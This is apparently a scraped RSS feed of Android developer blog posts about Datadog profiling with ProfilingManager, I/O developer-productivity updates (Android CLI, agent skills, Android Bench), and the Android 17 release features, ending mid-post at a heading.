<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Top 3 updates for Android developer productivity]]></title>
<description><![CDATA[Posted by Simona Milanovic, Developer Relations Engineer

Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, ho...]]></description>
<link>https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693506/android-tipps/top-3-updates-for-android-developer-productivity/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:38 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVRZrq_G4uVlVKLwXHoXqLsp3SGb-2GJbHfNRNmjfSPuZ9gUrLJ8_fyNTDP-_jsJowwajpxaLPFd8047rF7B5IpSE8-gXFtwVx3x4WpEqWLX3Cm-bKo9tof1j5yTLT66FmzpEnod7EK8_3vUDNZv12uDz1lnfZ5O8iOQqxfWgH0oOYXd3CXvG4IUJuRfU/s4097/MM_Dev%20Productivity_Meta.png"><div><i>Posted by Simona Milanovic, Developer Relations Engineer</i></div><p class="post-author"></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s8419/MM_Dev%20Productivity_Blog.png"><img border="0" data-original-height="2507" data-original-width="8419" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjux_TC0rxXOwY28_pZlUZ5rOLTSjuCXAfcGOd_auXXQ1D91clcsNSmIYs939dNNL7ymPVs1Q2PTFa_FwzBnlbcnNavO6MlwlCv9U2XPUDU-5I_HeVfeS72JoCHrkmGO3bXjXpJtJK8H7glEX6hfKn78-GynO8w9RqT-N-EE37oyA2rFxy6JukihWgndFE/s16000/MM_Dev%20Productivity_Blog.png"></a></div><br><i><br></i><p></p>

<p>Every year, Google I/O brings new announcements and resources across ecosystems and products, including Android development. As development shifts toward AI and agent-assisted tooling, we’ve expanded our offerings to better support you, however you decide to build for Android.</p><div class="separator"><div class="separator">
  <div>
    
  </div>
</div>

<p>To help you stay up to date, here is a summary of the<b> top 3 announcements for Android Developer Productivity at I/O</b>.</p>

<h2>1. Android CLI is now stable</h2><p><a href="https://developer.android.com/tools/agents/android-cli">Android CLI</a> is now <strong>stable at version 1.0</strong>, with more capabilities and integrations.</p>

<p>The latest version of Android CLI introduces many new features, like programmatic version lookup and support for Journeys, and bridging capability to allow agents to <strong>integrate directly with Android Studio</strong>, via the <a href="https://developer.android.com/tools/agents/android-cli#studio-check">studio command</a>.</p>

<p>Running Android Studio alongside the agent and Android CLI enables more efficient navigation in your project, more precise output, and access to <strong>Android Studio’s unique tooling</strong>, such as performance profilers, Compose Previews, and Android Device Streaming.</p><div class="separator"><div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/s1948/1_agy-android-studio.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsMNSFKeo81-n949Gxy89kxE4j9xTtoJXnyEYGULxkjQXjndkMpdDzO74Xr2rvtuJuEooGeZeMJPf_H1UJC4YljU-jrBswJOMgsQBPm-_CO2Z2EYntVE3osq8maf2chHJHB8WvRVvvf_14TxkpARGAOGAUsqYQ-vWZtm2iUhanT-Zz3GDD2HQrQk1Jpcg/w640-h510/1_agy-android-studio.png" width="640"></a></div><div><i>Android CLI now integrates seamlessly with Android Studio</i></div></div>

<p>Additionally, Google Antigravity now officially supports Android development, with the <strong>Android resources bundle</strong>, which includes the Android CLI and skills.</p>

<p>You can either install the bundle during onboarding after installation, or later from the <strong>Settings &gt; Customizations &gt; Build With Google Plugins</strong> menu. This provides Antigravity with all the powerful tools and knowledge of Android CLI to enable it to perform core tasks—from creating projects to deploying your app on a new virtual device—much more easily and efficiently.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/s1948/1_agy-android-cli.png"><img border="0" data-original-height="1552" data-original-width="1948" height="510" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhg5lVac9WbZ_qdkjNLaQto2LX4c0tFD9zF3QIjtGcFXePDigzX7G8xAAQdo8YX6yt7U38-meDeTRQ1TCK-a7YUvjDk6D88ZfTNOQLI-6Xza52AugLbgEyg24kIzUR67lC9k3iX8H_gxk7JUYpHxSiHAJgQkFqN0CiXD8i5k4CE8Px308kNtVbKCYegJtI/w640-h510/1_agy-android-cli.png" width="640"></a></div><div><i>Google Antigravity now offers the Android resources bundle</i></div>

</div><p><span>Android CLI is now available through more package managers: like </span><code>npm</code><span> and </span><code>homebrew</code><span>. </span><span>For more information, check out the </span><a href="https://android-developers.googleblog.com/2026/05/android-cli-stable-1-0-agent-development.html">Android CLI blog post</a><span> and </span><a href="https://developer.android.com/tools/agents/android-cli">official documentation.</a></p><div><div class="separator"><h2>2. Android skills keep growing</h2><p>To help models gain expertise for specific development patterns that follow our best practices, we are continuing to <strong>expand our repository of Android skills</strong>, available through <a href="https://developer.android.com/tools/agents/android-cli#skills-add">Android CLI</a> and <a href="https://github.com/android/skills">GitHub</a>.</p>

<p>Android skills ground LLMs in <strong>specialized workflows and domain knowledge,</strong> for the most common and more complex user journeys they might struggle with. We’ve shipped a fresh <strong>new batch of skills,</strong> with now more than 17 skills for areas such as:</p><ul><li>Adaptive UI</li><li>Display Glasses and Jetpack Compose Glimmer for XR</li><li>Migration to CameraX</li><li>Perfetto SQL and Trace Analysis</li><li>Jetpack Compose Styles API</li><li>AppFunctions</li><li>Verified email retrieval with Android Credential Manager</li><li>Engage SDK integration</li><li>Testing setup</li><li>Wear OS Jetpack Compose Material3</li></ul><br><div class="separator"><img border="0" data-original-height="405" data-original-width="720" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOV9PePtO9nHxegfJn96Lsab3Z1fD7FEsjdQ9EQ2vzNOc9es2_S6h8twazy_ief9YVabhkOUWu7xJHr-hxINrva44O7QDpt3z96UtGXbvJYtAARj4tVWK3SPuFVr2in-MSdyCdpY5aOdqRbBjtw06-n365vZv8_Or8YCDrj6FQyoVl6xxKibEJF4Nh3io/s16000/2_android_skills_dev_keynote.gif"><i>Android skills keep growing</i></div><div class="separator"><i><br></i></div><div><div>You can browse skills and install using the Android CLI commands:</div><p></p>

<pre><div>android skills list</div><div>android skills add –skill=&lt;skill-name&gt;</div></pre>

<p>For more information, check out the <a href="https://developer.android.com/tools/agents/android-skills">official documentation.</a></p>

<h2>3. Android Bench adds new models</h2><p>Earlier this year, we launched <a href="https://developer.android.com/bench">Android Bench</a> - our leaderboard for <strong>testing LLMs on real-world Android development</strong> challenges and tasks, with the goal of accelerating model improvements, so you have more helpful options for AI assistance.</p><div class="separator"><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s2618/AndroidBenchLeaderboard.png"><img border="0" data-original-height="1488" data-original-width="2618" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjb0KK5bxvuZazJH0qRgHNv7cHl9uhVwZIZprnwGTBufcU7KXLpFJzNO4tCaCJLjh4mrZIqmTuFSMyRadcJxyTsWty65oLaKwi_8L_jAWHERsWYJ6hbZf5qVoDHJCZb-i0U40B3Xz8nRg-nvFYD8cf-nFx7PPG7ffBL-w4bS9RTQx_GOdQ7RXWjUN5RTbI/s16000/AndroidBenchLeaderboard.png"></a></div><div><i>Latest results from Android Bench leaderboard</i></div>

<p>You asked us to evaluate open models. So, at I/O, we added more commonly used ones, including our local model <strong>Gemma 4</strong>, to the leaderboard. We also added the latest models including <strong>Gemini 3.5 Flash.</strong></p>

<p>We are also working on increasing the difficulty of challenges we’re giving LLMs, including creating long running tasks, to continue encouraging improvements. These tasks will be coming soon to Android Bench. Check out the <a href="https://developer.android.com/bench">Android Bench leaderboard</a> to see the latest results.</p>

<h2>Android development anywhere</h2><p>By expanding our AI-assisted Android development offerings to Antigravity, through Android CLI and Android skills, and solidifying with the pro capabilities and production grade polish of Android Studio, we’re <strong>supporting Android developers wherever they choose to build.</strong></p>

<p>Have fun bringing your ideas to life faster and easier than ever before - we’re excited to see what you build in this new era of agentic development.</p><p>Check out the full <a href="https://www.youtube.com/playlist?list=PLWz5rJ2EKKc-XnEzj1_CBClxpkGwYQeLy">Developer productivity at Google I/O 2026 YouTube playlist</a> for more information.</p></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s1600/Bubbles%20(1).gif"><img border="0" data-original-height="1600" data-original-width="1544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg12FRQ31sUiyMj_ZalamTRI4VyI2tMXYKEoRy6b-u0Het272IDbRhznXot7b8AvFJEX-ubw_-pNxyS5JTKPUTBj1CNXwIYkTE906vembUcHeyGzE4Lb72WRyGNF7dOP_aBssNeCplOjEnKAc3d3hkak81LOpG0g9Hlep0AvC11MjdJ1MkqAp7ViUCu2bw/s16000/Bubbles%20(1).gif"></a></div><p><i>App Bubbles and Bubble Bar in action</i></p>

<h2>Activity recreation updates</h2>
<p>To prevent disruptive state loss and stutter, Android 17 updates the default behavior for Activity recreation. The system will no longer restart activities by default for typical configuration changes that do not require a full UI redraw (including <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard">CONFIG_KEYBOARD</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_keyboard_hidden">CONFIG_KEYBOARD_HIDDEN</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_navigation">CONFIG_NAVIGATION</a>, <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_touchscreen">CONFIG_TOUCHSCREEN</a>, and <a href="https://developer.android.com/reference/kotlin/android/content/pm/ActivityInfo#config_color_mode">CONFIG_COLOR_MODE</a>).<br>
Instead, running activities will receive these updates via onConfigurationChanged(), enabling smooth transitions. If your application explicitly relies on a full restart to reload resources for these changes, you must now explicitly opt-in using the new <a href="https://developer.android.com/reference/kotlin/android/R.attr#recreateonconfigchanges">android:recreateOnConfigChanges</a> manifest attribute.</p>

<h2>Continue On</h2>
<p>Android 17 adds Continue On to help users seamlessly transition a task between Android devices. The user sees a suggestion for the most recently opened app from their mobile device in their tablet taskbar, providing a one-tap affordance to launch the app and deep-link where they left off. Continue on can support app-to-web transitions, including falling back to using the web if the app isn't installed.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s1920/Continue%20On.png"><img border="0" data-original-height="1200" data-original-width="1920" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc8K42DCZ0VTYpFhTlEazp9_AthhqYdm786k1NFolZrP7HwXk2QlF7UV1CU7ECK9N-CiHSfSbH_E2_cXwL3zUuesP-shpa1nau5QmVWDOQeErnCMtvZUw_wwAHNewZZ5S3811f0n_FNoX4U9kyptZQONM_eDB1AAHaoFjMFgTCC7G1d0X2iRo1MN8sev0/s16000/Continue%20On.png"></a><i>Handoff Suggestion on a Tablet</i></div><p><br></p>

<pre><code>class MyHandoffActivity : Activity() {

    ...

  override fun onCreate(savedInstanceState: Bundle?) {
    super.onCreate(savedInstanceState)
    // Do stuff
    ...
    // Enable handoff
    setHandoffEnabled(true, null)
  }

  // Override and implement onHandoffActivityDataRequested
  override fun onHandoffActivityDataRequested(handoffRequestInfo: HandoffActivityDataRequestInfo) : HandoffActivityData {
    // Create and return handoff data
  }
}</code></pre>

<h2>Go adaptive-first with Jetpack Compose</h2>
<p>To help you adapt your apps to meet the new Android 17 requirements, we've launched the <a href="https://github.com/android/skills/tree/main/jetpack-compose/adaptive">Jetpack Compose adaptive skill</a>. This AI-powered developer workflow helps you implement the best adaptive practices:</p>
<ul>
    <li><strong>Adaptive navigation:</strong> Automatically transition between bottom navigation bars on mobile and edge-anchored navigation rails on large screens using NavigationSuiteScaffold from the Material 3 Adaptive library.</li>
    <li><strong>Multi-pane layouts:</strong> Implement list-detail and supporting pane layouts natively using Navigation 3 Scenes (ListDetailSceneStrategy and SupportingPaneSceneStrategy) instead of fragile fragment transactions.</li>
    <li><strong>FlexBox &amp; Grid APIs:</strong> Utilize Compose 1.11's dynamic layout components to easily adjust row and column spans on the fly, ensuring your content always fills the space beautifully.</li>
    <li><strong>Advanced non-touch input:</strong> Leverage Compose 1.11's enhanced trackpad and mouse support, including native focus rings and new APIs (like TrackpadInjectionScope and performTrackpadInput) to easily test and deliver a true "laptop-class" experience on Googlebooks and Desktop Mode.</li>
    <li><strong>Dynamic window states:</strong> Leverage Compose's reactive state model to seamlessly adapt your UI when the app transitions from full screen to a floating App Bubble or an interactive Desktop PiP window, ensuring a premium experience even at minimal dimensions.</li>
</ul>

<h2>Android is Compose-first</h2>
<p>Compose offers the easiest way to build adaptive apps, and that's just one of the <a href="https://developer.android.com/develop/ui/compose/first#why-compose-first">many reasons</a> we believe that all Android UI should be built with Compose. To that end, <a href="https://developer.android.com/develop/ui/compose/first">Android development is now Compose-first</a>. All new Android APIs, libraries, tools, and developer guidance will be built exclusively for Jetpack Compose. Legacy View components (in the android.widget package) and View-based Jetpack libraries (like Fragments, RecyclerView, and ViewPager) are now in maintenance mode. They will receive only critical bug fixes, and no new features.</p>

<blockquote>
    <p><strong>TIP</strong><br>
    Ready to migrate? Use our AI-driven <a href="https://developer.android.com/develop/ui/compose/migrate/migrate-xml-views-to-jetpack-compose">XML to Compose Migration Skill</a> to automatically analyze your legacy View layouts and convert them into highly-adaptive Compose code.</p>
</blockquote>

<h3>Performance &amp; efficiency</h3>
<p>App performance means a smooth user interface, fast app start times, and efficient multitasking; Android 17 has impactful improvements in all of these areas.</p>

<h2>App memory limits</h2>
<p>Memory usage is one of the silent foundations of overall performance. When a foreground app or service grows unchecked, memory management spikes CPU and battery utilization and eventually leads to the termination of other well-behaved cached apps and background jobs, ultimately forcing slower cold starts and impaired multitasking. </p>

<p>Starting in Android 17, the system will enforce strict app memory limits based on a device's total RAM, abruptly terminating offending processes. New things to help you navigate these tighter requirements:</p>
<ul>
    <li><strong>R8 Optimizer:</strong> The R8 optimizer significantly reduces your app's bytecode memory footprint by shrinking classes, methods, and fields into shorter names, and stripping out unused code and resources. Use R8 in full mode along with the new <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer">R8 configuration analyzer</a> to make sure your app is getting the most from R8.<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s2048/R8%20Configuration%20Analyzer.png"><img border="0" data-original-height="397" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQePgjeISaotpA-miDPKel-qgAYtepLjMMBaiKZQqTf_iYRTJurn_iAFdC7utLnKRKAh9OhSjF_D83skA2PPg7xts0ORX7aVxBkoax6b9uEPqTlGiY_sh8Xv7U1pr0h4Nm8FLo-h3IJD8FhTJc-gOtpBwyLCnDBUPRJAuaaBjsIOhvUmTXFSna0ykksak/s16000/R8%20Configuration%20Analyzer.png"></a></div></li></ul><div><span><u><br></u></span></div><div><span><u><br></u></span></div><div><br></div><div><br></div><div>The R8 Configuration Analyzer</div><ul><li><strong>LeakCanary in Android Studio Panda:</strong> The profiler now features native LeakCanary integration as a dedicated task, fully integrated with your IDE and source code.</li>
    <li><strong>ApplicationExitInfo:</strong> If your app is terminated by these limits, getDescription() from ApplicationExitInfo will return "MemoryLimiter:AnonSwap".</li>
    <li><strong>On-Device Anomaly Detection:</strong> Part of ProfilingManager, you can leverage trigger-based profiling using TRIGGER_TYPE_ANOMALY to automatically capture heap dumps when the memory limit is reached.</li>
</ul>

<pre><code>val profilingManager = applicationContext
   .getSystemService(ProfilingManager::class.java)

val triggers = ArrayList&lt;ProfilingTrigger&gt;().apply {
  add(ProfilingTrigger.Builder(
    ProfilingTrigger.TRIGGER_TYPE_ANOMALY).build())
}
profilingManager.addProfilingTriggers(triggers)</code></pre>

<p>And, we're working to surface more in-field memory metrics to you within Google Play Console.</p>

<h2>Generational garbage collection</h2>
<p><a href="https://developer.android.com/about/versions">Android 17</a> introduces more frequent, less resource-intensive young-generation collections to <a href="https://developer.android.com/guide/platform#art">ART</a>'s Concurrent Mark-Compact garbage collector (GC). By separating short-lived objects from stable, long-lived ones, the system runs frequent, lightweight "young-generation" sweeps rather than expensive full-heap scans, drastically reducing CPU usage, power drain, and UI stutter. Our testing has shown significant improvements in GC interference with application threads and a reduction in the maximum memory resident set size (RSS). ART improvements are also available to over a billion devices running Android 12 (API level 31) and higher through Google Play System updates.</p>

<h2>Lock-Free MessageQueue</h2>
